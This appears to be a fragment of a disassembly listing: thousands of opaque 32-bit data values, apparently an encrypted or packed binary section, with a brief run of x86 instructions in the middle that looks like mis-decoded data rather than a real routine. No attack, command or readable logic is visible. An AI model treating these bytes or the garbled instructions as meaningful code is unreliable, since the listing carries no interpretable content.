		dd 0BA1CB629h, 1CC0D77Ch, 57D6AEEAh, 0BB9400AFh, 3E632A4Ah
		dd 0E4004BEDh, 0FAAB0841h, 961459h, 0A3470E2Dh,	25973529h
		dd 1B303Ch, 22766F2Ah, 3BDE041h, 15B3AFF4h, 0D2895DEFh
		dd 0C27E058h, 0D1C6C218h, 93BC0Eh, 0B0F59A05h, 8A2B8073h
		dd 0A9E08300h, 0DB92B21Dh, 40E4004Fh, 7320ED81h, 0D00F5D36h
		dd 0E638EEC7h, 573068h,	0CFF3912h, 1536F393h, 37739518h
		dd 220D1Dh, 163BE449h, 1C817A53h, 2FF0DD00h, 0F94D0428h
		dd 7E370656h, 99EE2931h, 0D65F5C00h, 0DF2DE8C4h, 4F0F2A12h
		dd 0FF103FC8h, 4E881582h, 9680D748h, 7E7C25B2h,	2ED68231h
		dd 0BE100165h, 0F60052FFh, 0FE76EF08h, 0A49DA7h, 0CC89A67Fh
		dd 2B5DFB67h, 76C044FCh, 713E7AD5h, 1B9800DDh, 3D51B2B8h
		dd 5B003078h, 0FBBED3DAh, 0F08DCFh, 0AADD6E8Fh,	0ED563C7Ch
		dd 83074E00h, 135EFFA4h, 7815008Eh, 8431F03Dh, 7300141Bh
		dd 2447E83Eh, 5FC06Dh, 0FC54F839h, 0AC06D158h, 524BD207h
		dd 0FFB03479h, 6EB82436h, 9148CC90h, 0F75F6098h, 2366000Ch
		dd 0EB8D16F5h, 96507DA2h, 0CF003081h, 6DBEE3AEh, 0C364CBh
		dd 0F1D2388Eh, 119E1A53h, 6A967060h, 3843E3CCh,	38C9C40Eh
		dd 395BE00h, 6EB3F69Ch,	80218A03h, 11D47672h, 20899186h
		dd 0FD9B01AAh, 49F36FB4h, 33C35051h, 361E2F18h,	0B54D7DE9h
		dd 21411975h, 0C784C6h,	43D57E11h, 8A3CB8DCh, 7C178E60h
		dd 70FE74Fh, 0A0222693h, 0C70802BAh, 51FACC80h,	6EF88F78h
		dd 959C050Fh, 0D65287F4h, 0B2402307h, 664DD9h, 723B59BAh
		dd 0E68BFC2Dh, 757EA33Bh, 4A0F2403h, 32265E5h, 0AAE3816Fh
		dd 0B28BF505h, 9DB7FEE0h, 40092C1Fh, 0EEC01C5Dh, 0A10E4BE7h
		dd 0C79F0388h, 57434FD0h, 0B68804BDh, 0FF894001h, 0F69859h
		dd 0F4C476BBh, 33286240h, 0E5DEB70Eh, 0CE2E8CC1h, 32C230C6h
		dd 5F9780D0h, 92BE0300h, 59FCA506h, 4C931E10h, 11F28067h
		dd 2EF73C71h, 0CA900D60h, 4CC370D1h, 0A800C486h, 92286107h
		dd 303F8B29h, 3BD91C8Ah, 80ABB601h, 0DE878223h,	0D090B31Ch
		dd 3C949254h, 8BE020C1h, 49C0232Ah, 335203FDh, 0C96C357Ah
		dd 379C3800h, 8DC4676Eh, 0A19D0139h, 441477B3h,	0DFF18007h
		dd 0D80EB5E7h, 0CA237BAEh, 4FAE154h, 82D41538h,	7A400291h
		dd 0EC003178h, 0AD591033h, 0B3B02Bh, 66C9D7AEh,	65CE5132h
		dd 96B5BC00h, 0F7E34BDFh, 166CCD9Bh, 0E86C80AAh, 8A2E6B07h
		dd 0B6E702A1h, 4DADDF0Bh, 372FE180h, 53EA971Ch,	0EE4511C7h
		dd 0C2F52620h, 7AEB00A2h, 110A97DEh, 782A8238h,	0E20CFD20h
		dd 0F464284h, 3A13063Ch, 779663ECh, 0CF7151FBh,	1280070Ah
		dd 94F387Dh, 0F99B04E2h, 32DB9780h, 140320A2h, 6ECAA38Fh
		dd 5F7A00C1h, 9B1851F4h, 94EF5253h, 0B3BE42h, 86EC665h
		dd 327647h, 52E8C162h, 0CAF04BE9h, 4FA5B002h, 409FBCADh
		dd 397B6AEh, 0A2D051DEh, 2802BAE7h, 77B207E3h, 0ED18A9Ah
		dd 37F85700h, 48BC19B8h, 1A003FF3h, 9ACBB58Bh, 44C7B198h
		dd 0B0300CE5h, 0CDBB326h, 123D7D8Fh, 2C00076Ah,	0D17A42D2h
		dd 7B68147h, 8CC35A37h,	780E9A3h, 0CF541D3Bh, 0E7B846C5h
		dd 991F4380h, 95145333h, 19B9716h, 24C26D65h, 4DD2E0BBh
		dd 64DC5C28h, 44E74800h, 4BA6A00Dh, 2FA05h, 2930F16Ah
		dd 5CC7430Ah, 0BBD390Ch, 0FF51F0Fh, 263C615Ah, 53D09D63h
		dd 0C968DEC2h, 0CB166A3Bh, 2E266B0Ah, 32B900A7h, 0F6DFE271h
		dd 700262Dh, 3457F84Eh,	1C2A307Dh, 80863FA0h, 6E03EEECh
		dd 0E62D322Bh, 3C0DA419h, 733A22C0h, 66221F7Bh,	759AC050h
		dd 0FF483323h, 8C115800h, 0F4397013h, 26189A2Bh, 80EC2042h
		dd 752E733Eh, 141399D4h, 0CF00E78Bh, 60CD84A4h,	0D79200BFh
		dd 0EC83FA4Ah, 141D8904h, 0E1055124h, 0D8E5C181h, 640E9D9h
		dd 33240C87h, 5308895Ch, 0C381E3A0h, 0CEB16A9h,	0D034891Ch
		dd 6D00BA52h, 814B790Fh, 3FCB3BF2h, 0D19B4DD5h,	0C4DA7A8Bh
		dd 0BC681E85h, 1C779F77h, 330F94DEh, 0F7CB7A5Eh, 1C8B0851h
		dd 0FE71F4Dh
		db 72h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	al, ch
		or	al, 18h
		or	dword ptr [edi+eax*4], 2Ch
		enter	0FFFFFF98h, 1Eh
		pop	ecx
		lock cmp ch, cl
		mov	esi, 0EFB7BB4h
		or	eax, 235037ABh
		push	ebx
		call	far ptr	7Ch:0B836F868h
		enter	6ACh, 3
; ---------------------------------------------------------------------------
		dw 0FFC5h
		dd 27093FE0h, 191617h, 24C072B8h, 9F310030h, 675D50E6h
		dd 7A0787D1h, 60FD8D83h, 797DD3D1h, 0E7CAFCh, 59BB901Ah
		dd 3998715Bh, 91004C7Eh, 89191F1Eh, 7B361CD4h, 0F44A00D2h
		dd 0C66F85EFh, 7A00A053h, 56AAE922h, 1D6CB4EBh,	81C1DB09h
		dd 9EE10B5Ch, 8491F04Eh, 38222900h, 411E797Ch, 51600070h
		dd 0CF7A7482h, 365A6943h, 38856AEAh, 984701Ch, 230FE68h
		dd 0CA360180h, 527D508Ah, 5B715FE6h, 64074F95h,	3D20AB37h
		dd 9A3F4F9h, 0EED422B9h, 377500EAh, 70C90014h, 11350D0Eh
		dd 0A1BD0909h, 28FDFA05h, 97F1CBDFh, 8A004C37h,	0C55C7E3Ah
		dd 4B3DB8F2h, 46DDCCB8h, 45A02B07h, 88F0D50Ch, 5E4D9Eh
		dd 0FA8C22C1h, 0B0BFA6B6h, 61C5EC08h, 0EBB9165Bh, 270140C8h
		dd 0F642FDB5h, 8B83217Eh, 4F310FD9h, 0B700D108h, 0C08F5ED8h
		dd 2622632Eh, 42D36B76h, 9DC2C15Ch, 9F5BD881h, 1B91EC35h
		dd 5AF29F80h, 3F3A6E59h, 0EDC94F78h, 0C280475Eh, 9CDD2FA3h
		dd 6937500h, 87BF6649h,	0E4A9809h, 4E65FFCFh, 4DDFD169h
		dd 1FB260CFh, 231CE2E8h, 452DF380h, 31BC1A01h, 4801893Dh
		dd 0D6305267h, 203F64D5h, 0CE8AB3CFh, 400E4D00h, 30216A68h
		dd 0E45C000Fh, 9D29BDBEh, 0BB0C66CDh, 0F65B4911h, 5B6AFEBCh
		dd 801CDB02h, 3A0AE4B8h, 191217FEh, 1C6A815Dh, 4C3C251Eh
		dd 0E200346Bh, 61414EB7h, 1C35C6h, 0E3FF9922h, 76303233h
		dd 5106564Ch, 991B3B53h, 60ACDD39h, 204B1149h, 0BAC4ECDAh
		dd 0FFDE2639h, 2FD27E05h, 3BA07432h, 2DECC25Fh,	0B277A806h
		dd 0B77FC1Ah, 4951F8E9h, 2DCBA8CFh, 0AD034837h,	80851D88h
		dd 0BD38011h, 919D03C0h, 66608040h, 0E91AB812h,	16149148h
		dd 6F6DA361h, 602081Ah,	0FB6FB350h, 64BD2325h, 0F99D12FFh
		dd 0A4B5F81Dh, 0CDEFC002h, 0C2FB7E3Eh, 0C07EF88Ah, 5044D3E9h
		dd 6A037516h, 1F87BBFFh, 0B561D75Fh, 54A52071h,	7300EEF1h
		dd 14B8E316h, 8E91BD89h, 0A4623F5Fh, 0C4552B1Ah, 10B067AEh
		dd 1613F4BDh, 0FA644AECh, 71E40607h, 2B912D10h,	0F4934EF1h
		dd 0B24B37F3h, 0DEDA1066h, 0F62AA0D2h, 0C1498BF6h, 87864F15h
		dd 30292054h, 1DFD74B5h, 6E5B4EE7h, 8C89F053h, 0D961D0BCh
		dd 0E96AD18Bh, 0A8CA17ECh, 8703C0B6h, 0AD9B1D6Eh, 30BBEDC9h
		dd 0E928D9B9h, 8B39479Eh, 908525FBh, 5B3DB5C9h,	345DE330h
		dd 93520AF9h, 8A4F36F9h, 102287h, 44AD1982h, 0D7C37E2Bh
		dd 38351A00h, 0AD42E34h, 5FE92A8Ah, 0CDF94F62h,	83202E87h
		dd 77CCBCh, 6B5951A0h, 0D405909Ah, 0B1D6BB06h, 408A01ACh
		dd 919F5B11h, 0AB153292h, 52293A3h, 1E231904h, 7E95BEA0h
		dd 9F5B66E0h, 0DA00A8B2h, 9589F533h, 25F28BA4h,	5BC9E113h
		dd 0E0BA2F6h, 0CD77AC42h, 5A5DC1EBh, 2199E8BAh,	7E2B0524h
		dd 6319832h, 0AACE56F5h, 9648F0C9h, 0FE01EF16h,	0F6961EDAh
		dd 0B219058Ch, 0B7167FB9h, 84F34BF6h, 25F1E680h, 689A3762h
		dd 825E7C10h, 8501FCE1h, 0C6702D7Fh, 0DA072AF1h, 3A69DC5Ah
		dd 9619F448h, 131CA82Bh, 49F22DD9h, 0A19CA693h,	8300B9Ch
		dd 9D230951h, 0F221FDDh, 6EC4860Fh, 5B996049h, 490069E2h
		dd 6FEC608h, 5E2D11CEh,	685FF361h, 6247E7Bh, 8D05469Dh
		dd 64BE0E45h, 0B83EED50h, 0C5950072h, 1E43B6D1h, 241F5840h
		dd 8601CF81h, 0BD0903C2h, 5FFFE83Bh, 0AB6BE874h, 47ADDA05h
		dd 0AD99356Ch, 0B5049230h, 5B0B2FB9h, 7DF668E0h, 0F5AC9A9Fh
		dd 98017637h, 0EE450A91h, 0E28F133Fh, 8589B0C9h, 0EE144FDDh
		dd 8C005F6Fh, 8F8F63Fh,	0EAE3282Fh, 5BFA7360h, 0EA283FF5h
		dd 6C848A25h, 0EBE25345h, 0E9E6F527h, 341D24C4h, 10E1FF06h
		dd 41B2D20h, 87D226BBh,	0A297FC25h, 0BED32E8Eh,	6EBBC190h
		dd 2A612748h, 91119EE5h, 82ADDB4Ah, 0C01219D1h,	756C872h
		dd 92BB219Dh, 0FC74C478h, 425A1C1h, 1227A6Bh, 255EC911h
		dd 8741136Eh, 60021A99h, 176110C0h, 7CA6929Fh, 9A6D2786h
		dd 42BD4C7h, 0A5206BEh,	0A7BD353Bh, 14548DC9h, 0F61F75BBh
		dd 4799A03Dh, 8E3400D8h, 0A4FCF17Fh, 89279529h,	0BBAEEE1Fh
		dd 0CB7D70DDh, 0ED3A3302h, 0E0F87FBFh, 2E870AD7h, 4D23F41h
		dd 0FF8D0F50h, 3EE6E431h, 0DB4A8F38h, 0A06382EAh, 6867C44Dh
		dd 38A9CB35h, 0D2096844h, 76FE7D1Ch, 4F4A40E7h,	7FE8CBEEh
		dd 0F5DB5D0Bh, 84C0D5C9h, 3AB0FF44h, 5B132D13h,	0E760B7C7h
		dd 123101A1h, 0EC1B95BDh, 686BB570h, 8B65805Fh,	0EB6280F8h
		dd 0EBA9952Eh, 5685B282h, 0CD00FC74h, 37595516h, 2F3A629Eh
		dd 0AFE4EBE6h, 0B26E100h, 77C40754h, 43E70B88h,	405F97D9h
		dd 2B32E051h, 16A5D8EFh, 8538125Fh, 222DBC5Dh, 0BDAED6E5h
		dd 0E46127B7h, 0A0DE9F92h, 0DF0709DCh, 7DE4021Dh, 98C63A01h
		dd 0A1A8FCD5h, 0C8099A6Fh, 51B8C214h, 5C52BE7Eh, 0A2CD4A5h
		dd 9D0E3560h, 8D4F103Dh, 0FD8C02BFh, 4B1E1DCh, 0C635E98Dh
		dd 0A106CA2Fh, 55200CB8h, 0D1A84F8Eh, 7B1E88ACh, 387E9DCh
		dd 1830D41Ch, 82D8DFDDh, 26074B51h, 0B6FEF64Dh,	70EAD682h
		dd 0E6E2176Eh, 8421A85Bh, 96FC2434h, 0C009DB93h, 50452C70h
		dd 86805FEh, 0C4DF923Fh, 15EFE85h, 3B8687C7h, 4EF92Bh
		dd 49A58143h, 400ADD9h,	0E702CF90h, 7C1298BDh, 0ED3F0423h
		dd 8168B2h, 79E37D78h, 83C705BBh, 0AD8D6D2Dh, 8C1DA822h
		dd 0A2C51F28h, 2BA79F02h, 76991A33h, 958F4085h,	0C5002CF0h
		dd 0B3303502h, 249E5B5Fh, 605C90BEh, 0C8209A1Bh, 55B15112h
		dd 80083008h, 0D0225D24h, 1D0B4784h, 0FB905B3Ah, 55CF70B1h
		dd 49998872h, 0E5951056h, 0CAC84F2Dh, 0BDFF0013h, 7954D520h
		dd 4101CF25h, 1207C290h, 3A206108h, 0E1D59615h,	0C4C9A2AFh
		dd 569FD1A6h, 32E9C2CEh, 0B75A0DD4h, 0B7D185E5h, 24B930FBh
		dd 0DD4CD3C2h, 0E52A2710h, 3119163Eh, 10579B5h,	17A629E9h
		dd 0F59D04F0h, 0E6810019h, 27BCD9C7h, 0FFE76107h, 0ADB7245Ch
		dd 0B005DED3h, 33D792A7h, 0DB0999A8h, 538401D8h, 0C438BF29h
		dd 9E045A90h, 87F98FD2h, 72D2D6E7h, 5BD5960Bh, 0E77AAA61h
		dd 13BFB100h, 0B9A71D62h, 4F011E40h, 0C896DB11h, 0E493C115h
		dd 52356AF9h, 8BB07E30h, 2D43E23Fh, 2E5A631h, 0B08CC627h
		dd 0D2D2482h, 17710847h, 9E42EE27h, 0E09CD4D4h,	2CD7961Ch
		dd 0BBC0AAACh, 4FB1EE06h, 4CC8315Eh, 860F2E96h,	2C5EC2CBh
		dd 1889D6E0h, 407ADE8Ah, 3641FD37h, 4922AC00h, 0E7B13378h
		dd 2C693D62h, 37F5000h,	0BD019698h, 0B8A509F4h,	0F8748B25h
		dd 56915BB4h, 0D3BAED12h, 0E0A760B6h, 17B91EBAh, 0B710CA62h
		dd 78E6C5h, 30E2EF9Ch, 6558A746h, 5ACE4100h, 7207624Dh
		dd 0A3690923h, 6B08385Ch, 9BB36097h, 5F5632CCh,	3BA24BDAh
		dd 0AA569300h, 7A9895E7h, 0AF677B18h, 812DD5D8h, 6D356A5Bh
		dd 27694105h, 0B9D673A9h, 18E0B88Bh, 569EAD3Bh,	0AA9C1665h
		dd 76B5575Ah, 29011F17h, 0C283E179h, 11068D01h,	0CB719589h
		dd 0B976253Fh, 2E3B89Dh, 216A046h, 93D4E8B7h, 5B5DCC6Ch
		dd 0D6FDE20Ch, 14A8EDF9h, 2F96F900h, 0DD03B236h, 0BB8CBF08h
		dd 1E4E61C8h, 41BD7D52h, 0A0A3A74Bh, 73A88A3Dh,	0E7C24ECFh
		dd 406E4B37h, 9F3F2B01h, 20DF3CECh, 0FD25BA99h,	0E5C7381h
		dd 3F1085B5h, 51E30261h, 5D37630Eh, 18919535h, 94953B80h
		dd 28B53F90h, 0C349692Ah, 70BEA529h, 0FBF381F2h, 5296AF16h
		dd 0B99380A2h, 0F01A56B2h
		dd 251F3091h, 4E06A446h, 9DBB99DAh, 0CADC4770h,	406CFE46h
		dd 8D8CF781h, 0FB37EB25h, 0AFB5A7DBh, 0C4481D0Bh, 0B91C033Ah
		dd 0FA1377B5h, 0CB88CF93h, 0AE131265h, 0FF1654D9h, 5F2D98E9h
		dd 3E68724Dh, 82686A62h, 1471D3h, 0F8DB509h, 75703AB5h
		dd 5A308137h, 13FB5EE7h, 8481B531h, 0A393FCBAh,	9B375E67h
		dd 7F0980D8h, 2D71ECC2h, 0ABC0CB81h, 50B0C1D8h,	0C3F60A71h
		dd 6A2540Bh, 0A59D5353h, 0A40097B5h, 60EF8ADAh,	802A0D7Eh
		dd 0F474CE5Fh, 0C65F2389h, 51DF694Bh, 0AE31678Bh, 80732B4Bh
		dd 848D9401h, 0D0E8C0A2h, 0B7FF71F2h, 7A00FEB7h, 4E4659C2h
		dd 878A0962h, 0F85E74D8h, 9D23C181h, 0A86F0E8Dh, 6AFBA4EBh
		dd 0E5CC00C4h, 504EABFEh, 5EAB9757h, 4D804437h,	0A93F2569h
		dd 2808B8D8h, 394D1F41h, 61035360h, 4D8D8B5Eh, 3EFDC178h
		dd 9FC19CDBh, 0FC55B484h, 0FC0194D3h, 95296DF3h, 8E4832F5h
		dd 0ACDB2DE7h, 217B757h, 89279CA7h, 7A14B9C1h, 37F88ABDh
		dd 0EA7A711Ch, 2FB5BA79h, 0AB88C0BBh, 0BF501C82h, 48334A02h
		dd 1CCDADC1h, 19C2BAC1h, 9EE72Ch, 0E837D3DCh, 0E2008CCAh
		dd 0B4D94EDFh, 9F5DF728h, 0BD5FF9E2h, 0C8320277h, 22E37E73h
		dd 9D33A2F8h, 0DD82295Bh, 23D3F76Ah, 1D4FD270h,	0C487CD06h
		dd 0E8194710h, 0ED09250Bh, 6030E8C1h, 13681F32h, 9D207504h
		dd 0E28CE53Eh, 25AD7AE8h, 0CCE6CEA9h, 0B095313Dh, 8BD18116h
		dd 839497FBh, 0FB094144h, 1A3DECBh, 8DE78102h, 6A48EAEEh
		dd 0F8D30BBCh, 0E1F82C63h, 1A357752h, 251DFC12h, 51FF8841h
		dd 382F48E9h, 0DB41F108h, 4A551130h, 41D7A0Bh, 658D8980h
		dd 18021FBh, 4A242F26h,	90CF03B8h, 1345874Ah, 7FDF8850h
		dd 71C5F501h, 90B89698h, 1B9AB79h, 2FD9B7A8h, 20A01F66h
		dd 521C2AE9h, 0E403BF60h, 0EA013EE5h, 618AC825h, 2FB2975Bh
		dd 85F2E00Fh, 0CFF6EA4Bh, 0A270AEA4h, 25FE220Bh, 0FD37FF6Ah
		dd 488F4501h, 0E4A70FF7h, 86AA9990h, 7EE03Ah, 3F6C85Fh
		dd 94FC41h, 0ACD916F9h,	54BEECFh, 0B14B30B8h, 3D95B6D0h
		dd 0F2C5B71Bh, 3A5D2B11h, 8FD8582h, 459DC20Eh, 0A86C5E21h
		dd 168125F6h, 0B5F06CE4h, 93C1F42h, 882ABD11h, 0E38181F9h
		dd 0A5A35ADDh, 9F1CF818h, 814074FCh, 2C0E31F6h,	0B246125h
		dd 0CC770B91h, 29EF80D5h, 8B618209h, 7E1E2FF5h,	1012BFA4h
		dd 52277EF2h, 0C82BA348h, 40C854BDh, 0A6DD73BFh, 0D18B5013h
		dd 0D72F6307h, 0A3E9F961h, 79BD3441h, 0E48524C2h, 0CDEC019Ch
		dd 6FC80D4Bh, 2B5B4553h, 28DC88h, 0AB744A3Eh, 0F025605Ch
		dd 78D21C4Bh, 58987730h, 11D76AE9h, 70ED0AFh, 18009893h
		dd 143080B5h, 16C6AD33h, 0C81B4309h, 4901C02Dh,	56BE2F6Eh
		dd 0F87ACF6Fh, 325F8EA9h, 9B408BF3h, 0A62A4E55h, 972D2208h
		dd 44205F32h, 3F9A28E1h, 0F059F400h, 98544E20h,	0DFCF0223h
		dd 1C2D8D31h, 953E22FFh, 0BDF92404h, 51909C71h,	4BF8C740h
		dd 0BC8CA96Ah, 0F3B01CAh, 412E8BB1h, 8202EC1h, 9C8CF36h
		dd 8E2FBEC6h, 0CD251376h, 60186471h, 2F3554C1h,	0A582652h
		dd 29B93440h, 12E00F02h, 4C55F1FAh, 9BEA98CFh, 31F11A13h
		dd 0C31CF600h, 29E42Dh,	7D74C436h, 0FC1A453Eh, 249156C9h
		dd 3FEEB8A5h, 18236Dh, 433CD04Ah, 0D24F2B5Ch, 5D6F40FBh
		dd 6970FA1Eh, 34E42200h, 858A783Ah, 4064B477h, 0A45D1E76h
		dd 90648h, 8AF9A08Fh, 12AEBB4Ch, 0F35FD6E0h, 0D780C248h
		dd 0FE8481DCh, 42D880Dh, 0B47C15ECh, 0ED8F9009h, 60E97CC2h
		dd 1A8D9D2Bh, 0ED9A0282h, 6983792Fh, 9D47EFEh, 0F807AE7h
		dd 3931579h, 0E25B32B8h, 8C17FC6Eh, 8311E504h, 80C4513Bh
		dd 845AF2FFh, 13AE0B5Fh, 0E860A9C7h, 4A580036h,	0FA750DCEh
		dd 450DCE5h, 2C4AC5A1h,	0ECE512FCh, 0A1A64FD4h,	85891EF0h
		dd 6A211524h, 7E8D0FE2h, 98D3AF79h, 5B81BD14h, 324CA4E7h
		dd 130EF510h, 0AB1E1FFh, 2F4C282Eh, 51415C8Ah, 0D88B113Dh
		dd 0F81A282Fh, 0DBEFD8D6h, 683980A7h, 12E88A7Dh, 0E9605AA7h
		dd 3AD1B89Fh, 0AA026345h, 795BD8Bh, 8140355Eh, 25171FCFh
		dd 3BE20833h, 328233B7h, 5E10B528h, 5F1B9131h, 920075A3h
		dd 0C80AE239h, 0FDB0F53Bh, 4817547Fh, 3D493201h, 0A5625961h
		dd 225C1942h, 0D44154EBh, 9ED5E209h, 129FC4B0h,	83DA8A90h
		dd 0A9BCD995h, 390EB86Eh, 9D0B8B31h, 0C86A2B71h, 6A965E7Eh
		dd 80AD9BEBh, 0F7A0ED95h, 0E9860165h, 7A1B1368h, 0B63376h
		dd 0B2E0EAF8h, 6B771Dh,	0A4146348h, 8A51AA1Fh, 5B5FFA16h
		dd 0EC041BF8h, 0A8766518h, 0BD33C1E5h, 2D2F2535h, 0C02F5A0Bh
		dd 0AD636F7Ah, 434EB476h, 8C36D12h, 0EC96A498h,	0BFDEE500h
		dd 883D8926h, 61951001h, 0E95B092Fh, 4110F6B4h,	2EF2BBF7h
		dd 0E84BF811h, 2584E6F3h, 0EDC68DB9h, 88E0F14h,	2881106h
		dd 80616002h, 6C5713F3h, 0D9BD12E6h, 43C2E729h,	8E8800C4h
		dd 9D92654Bh, 90A10168h, 0E411EC62h, 0C349E501h, 373FE548h
		dd 5C6BF385h, 1500DE0Eh, 0C19834Fh, 984CB249h, 0FABA9555h
		dd 8A8063B5h, 0BF66FCBBh, 89CC17B6h, 1B9BAF46h,	6480DF8Eh
		dd 2F2BA31Eh, 503B3516h, 1D0040E2h, 0AB70E7Ah, 0B505E98Bh
		dd 0E21701A7h, 5B1B32BFh, 7CB5C2D8h, 0AC7C49FCh, 1946D6h
		dd 0C428DB2Ah, 50F1176h, 0BD0BDFBFh, 54A925h, 6852B0BBh
		dd 786F857Fh, 0D76D093Ch, 0A22370D1h, 0CAB78680h, 0D8D22FE3h
		dd 91063597h, 7B88801Bh, 9D13F5Dh, 50FB3CA8h, 7F161C6Ch
		dd 0D7AACA81h, 0E9DF71E6h, 27E52674h, 80BDF957h, 0F97410CCh
		dd 0BB009436h, 1A5C996h, 0E6AD2065h, 0A83A1284h, 0F5FBE5Fh
		dd 67A54F24h, 0D672AC9Ch, 0FD7E3D04h, 0BDACF802h, 4E51FEA5h
		dd 0BDBCE1h, 0CF358B96h, 499509D1h, 8100C592h, 34C169E3h
		dd 9F5DE91Bh, 0DC69D9EFh, 870F62FBh, 2050415Eh,	51111EC3h
		dd 0AE007B38h, 0FC30B83Fh, 6B28F375h, 1F09D1C4h, 7E1DF8D3h
		dd 1DC4D7ECh, 93E59B60h, 42267600h, 0C5F9057Fh,	0A19D2F89h
		dd 8BB6F80h, 4D4BCFBCh,	0FA3AF08Ah, 0E858FD4Bh,	437701E5h
		dd 98D8EB29h, 65806A27h, 0ED89EFD6h, 1266186Fh,	9E38F2E9h
		dd 0B145C861h, 7A6A03B9h, 4ED01F19h, 64F7CDA5h,	0B1FE6017h
		dd 0F96900C4h, 8C20CB81h, 4E9D1F5Ah, 3035BD51h,	327B8700h
		dd 2678FFE8h, 85AD599h,	0F2240735h, 7117C909h, 87B7A73Dh
		dd 7BC8B309h, 58EBAB2Ah, 0BC09494Eh, 0CA84F5h, 0C4878FE5h
		dd 9DCBBA11h, 8D29CD60h, 7C013125h, 1946DECDh, 6E1F8801h
		dd 2FEBFE25h, 2C11034h,	8D497C9Ch, 0BC94B96Eh, 229C0934h
		dd 41D40D19h, 1FE1B5C1h, 26D42D2Eh, 399B555h, 0B455F003h
		dd 825A53E7h, 32751E31h, 0D411D64Ah, 0AD6CF013h, 0F858AF8h
		dd 51528881h, 39DE297h,	4F20508Ah, 2B0AB574h, 20BEC234h
		dd 26287DACh, 0A39FDC00h, 6714547Ah, 0CC18973Eh, 7D05DB81h
		dd 6A260BB7h, 0E079F6ABh, 0AF9D83h, 0E9DBF164h,	332009E5h
		dd 0F5B1DF4h, 6FB979E2h, 0E8D683B8h, 0EC501268h, 23B76BBEh
		dd 0F908001Ch, 0D2E04AE2h, 82A5D12Fh, 2BD54Eh, 34B750F5h
		dd 0BB98972h, 69C4450Ah, 0DA04D549h, 998BAF25h,	476A4Ah
		dd 6B79A2FFh, 128B4C7Ah, 0E2F9FA8Ah, 0A80C88C6h, 704606A5h
		dd 0A7DF8B50h, 0DE93D8EAh, 8D181A71h, 16FD2A01h, 29CA4B85h
		dd 2B80896Eh, 3C2AD34h,	9EC528Bh, 61F85E57h, 0F589367Bh
		dd 695D7113h, 6E407CCDh
		dd 2B31643h, 0D0494A65h, 0CB817AE5h, 2E60ACEBh,	0E1796129h
		dd 26B6E4Ah, 3668CC3Fh,	68505C35h, 1EF508F8h, 61BFC612h
		dd 7011380Fh, 0A1003548h, 0FE73485Bh, 95DE9829h, 0F6E969F1h
		dd 0B11FD417h, 0D442B833h, 578F0858h, 8B08DFE6h, 93079BDh
		dd 0E87EABE9h, 8C22402Eh, 9BB6C1ECh, 0D08D00DCh, 81EBC1B9h
		dd 9E77E7F7h, 58955B4Bh, 0F0E0F6FAh, 28842C01h,	78ADB063h
		dd 0BF50808Dh, 0F6BB2512h, 4E26A0B5h, 64E25BF0h, 0D0883A01h
		dd 0A3D108EAh, 26CB1920h, 487A9F8Eh, 13FD089Ch,	0D6FE303Bh
		dd 0B7ACEAD5h, 39828137h, 5CF7543Bh, 1B82630h, 5FD93D43h
		dd 39DB2090h, 0E50553Ah, 0BE8A2896h, 0ED7A6AD6h, 0CEDD027Bh
		dd 56F8E51Eh, 5B253CE0h, 2B4E5F62h, 0DE1175BDh,	0F68B100Eh
		dd 0F55EBD7Ch, 24D99E60h, 0C89A9513h, 1412BA7Ch, 0A8F374BBh
		dd 0D14A7174h, 942F9BCAh, 0FCDA9EDBh, 1E32A8E8h, 494C5066h
		dd 2E37026Ah, 0BC2C29Ch, 0D590FAB9h, 0B25CDF90h, 0DF2EC11Fh
		dd 0C51A0701h, 29D59FA0h, 48FCE22Eh, 90F809A9h,	0E99F0451h
		dd 0CD5B78D2h, 6018C439h, 254DCC72h, 0CEF43CB4h, 0EEB33092h
		dd 5EADF84h, 3DC2DC8Ah,	542DCAE5h, 3ED16BC5h, 173804ADh
		dd 11C6500Ah, 8F5A760Ah, 499B108Ch, 894AABB3h, 7EE73AB1h
		dd 51A2A7A0h, 3AD26B09h, 97BE5A76h, 0FAD8FA5Bh,	0B7BD0414h
		dd 0AC1B5F73h, 0CEFCD3DAh, 0AB538F80h, 0A60E418Dh, 0AA0E5CD9h
		dd 49279421h, 82425F95h, 0FC602309h, 4B111E31h,	172A6A61h
		dd 31ABF5A0h, 2E7A315Ch, 9A00457Ah, 7AE0224Dh, 0B228E6F3h
		dd 5FA2B7D3h, 36C4CE54h, 83C8B04Ah, 70E63F8Dh, 4FB90C04h
		dd 12C071E4h, 955BF957h, 371BB7A6h, 5B4E46B7h, 0DB042060h
		dd 4616C578h, 0DCEB6B22h, 0AE988B11h, 128D83D0h, 0D7B4C8BFh
		dd 0A4BD5E23h, 852F31D7h, 37B3D5CDh, 0C6D1613h,	45C50ABCh
		dd 0D921BE01h, 0B42BFC8Ah, 0FA12B7A1h, 9E04C82Bh, 3FDC097Dh
		dd 0E2D53B5Eh, 41DE2F87h, 42601E91h, 8B8E9C40h,	0FBFD100h
		dd 0E935D62Bh, 60B8B5A1h, 9B001523h, 0E2D1D925h, 0EABFF2h
		dd 0A5EC56FDh, 69EBA836h, 1CD91B58h, 5F404C44h,	0D8E4BF60h
		dd 0D72F5DEDh, 61621F20h, 560EADC6h, 0B4F946FAh, 0A265128h
		dd 0F156EAE1h, 1B4345B9h, 48D98E25h, 0EFC4AD4Fh, 0CBD0AC23h
		dd 0E8606451h, 7F010F3Fh, 1141128Ah, 21B7547Bh,	0D862C6B9h
		dd 25579955h, 2BDE8B11h, 8EF4E367h, 4055F998h, 95518901h
		dd 44043A79h, 0D9AD0A88h, 17608F84h, 0F82688EAh, 6A9AD8A3h
		dd 7074FBF7h, 2D39EC9Eh, 0A3848247h, 0C03BBF49h, 95451D43h
		dd 1402D79Bh, 23B94377h, 0E73DD50Fh, 0C789C001h, 122F3136h
		dd 0EB65BA0Dh, 0A6C0F49Ah, 6E406420h, 19B7BF05h, 178D2289h
		dd 75CAD418h, 6DCB0785h, 0D7CFFFD5h, 0FC24B0BAh, 0CD95C02Bh
		dd 0F59CE0F5h, 6B09C764h, 1A701A38h, 9F36F795h,	0F3D22B25h
		dd 0A5657000h, 509D36E8h, 0F792064h, 2BB2C1B7h,	6B59B6Fh
		dd 0C1852957h, 5060B527h, 884B0DF9h, 9ECA5A9h, 3E6C927h
		dd 8A9D296Fh, 886C5D19h, 85754603h, 0E8383968h,	0EE7135EDh
		dd 0CD910165h, 0B3F9EB58h, 88E62F36h, 0E7CABF3Dh, 3FAB5F15h
		dd 0CB930083h, 0C5A2D3F9h, 7F125F8h, 9601EC5h, 9520D995h
